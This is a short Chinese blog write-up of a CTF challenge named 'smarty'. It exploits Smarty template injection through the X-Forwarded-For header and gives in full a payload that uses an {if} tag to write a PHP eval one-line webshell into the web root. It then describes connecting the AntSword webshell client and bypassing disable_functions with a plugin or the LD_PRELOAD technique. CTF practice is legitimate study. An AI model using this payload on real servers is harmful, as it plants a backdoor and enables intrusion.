
攻防世界攻防世界--smarty

Uzero.  于 2022-01-07 23:03:47 发布  477  收藏
文章标签： ctf
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46263951/article/details/122373805
版权

根据题目和页面内容  提示，可以知道这里使用的是PHP中的Smarty模板
网上看这个模板存在着模板注入，但是没有找到参数，猜测在请求头

那就有两种可能的注入点：
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发现XFF存在注入

 

 测试phpinfo()发现这里禁用了很多函数，并且可访目录也做了限制

 使用{if}标签写入一句话木马

{if file_put_contents('/var/www/html/shell.php','<?php eval($_POST[cmd]);')}{/if}
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连接蚁剑

进入之后发现无法访问其他目录，也没法执行命令 

看师傅们都是用的无需sendmail：巧用LD_PRELOAD突破disable_functions

本人菜逼，使用的是蚁剑中的插件

 

https://www.freebuf.com/articles/web/192052.html
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